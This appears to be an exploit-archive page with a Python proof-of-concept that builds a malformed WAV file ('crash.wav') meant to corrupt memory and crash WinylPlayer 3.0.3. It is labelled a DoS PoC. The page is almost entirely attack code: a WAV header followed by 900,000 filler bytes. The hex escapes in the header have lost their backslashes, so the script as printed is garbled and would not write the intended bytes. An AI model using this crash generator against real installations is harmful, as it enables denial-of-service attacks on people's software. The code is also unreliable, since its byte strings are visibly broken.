Home / exploits

PDF

WinylPlayer 3.0.3 Memory Corruption

Posted on 20 June 2015

#!/usr/bin/python

#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title: WinylPlayer 3.0.3 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7
#[+] Vendor: http://vinylsoft.com/
#[+] Download: http://vinylsoft.com/download/winyl_setup.zip
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks: offensive security (@offsectraining)

print"###########################################################"
print"# Title: WinylPlayer 3.0.3 Memory Corruption PoC #"
print"# Author: Rajganesh Pandurangan #"
print"# Category: DoS/PoC # "
print"###########################################################"

header = ("x52x49x46x46x64x31x10x00x57x41x56x45x66x6dx74x20"
"x10x00x00x00x01x00x01x00x22x56x00x00x10xb1x02x00"
"x04x00x00x00x64x61x74x61x40x31x10x00x14x00x2ax00"
"x1ax00x30x00x26x00x39x00x35x00x3cx00x4ax00x3ax00"
"x5ax00x2fx00x67x00x0a")

exploit = header
exploit += "x41" * 900000

crash = open('crash.wav','w')
crash.write(exploit)
crash.close()

 

TOP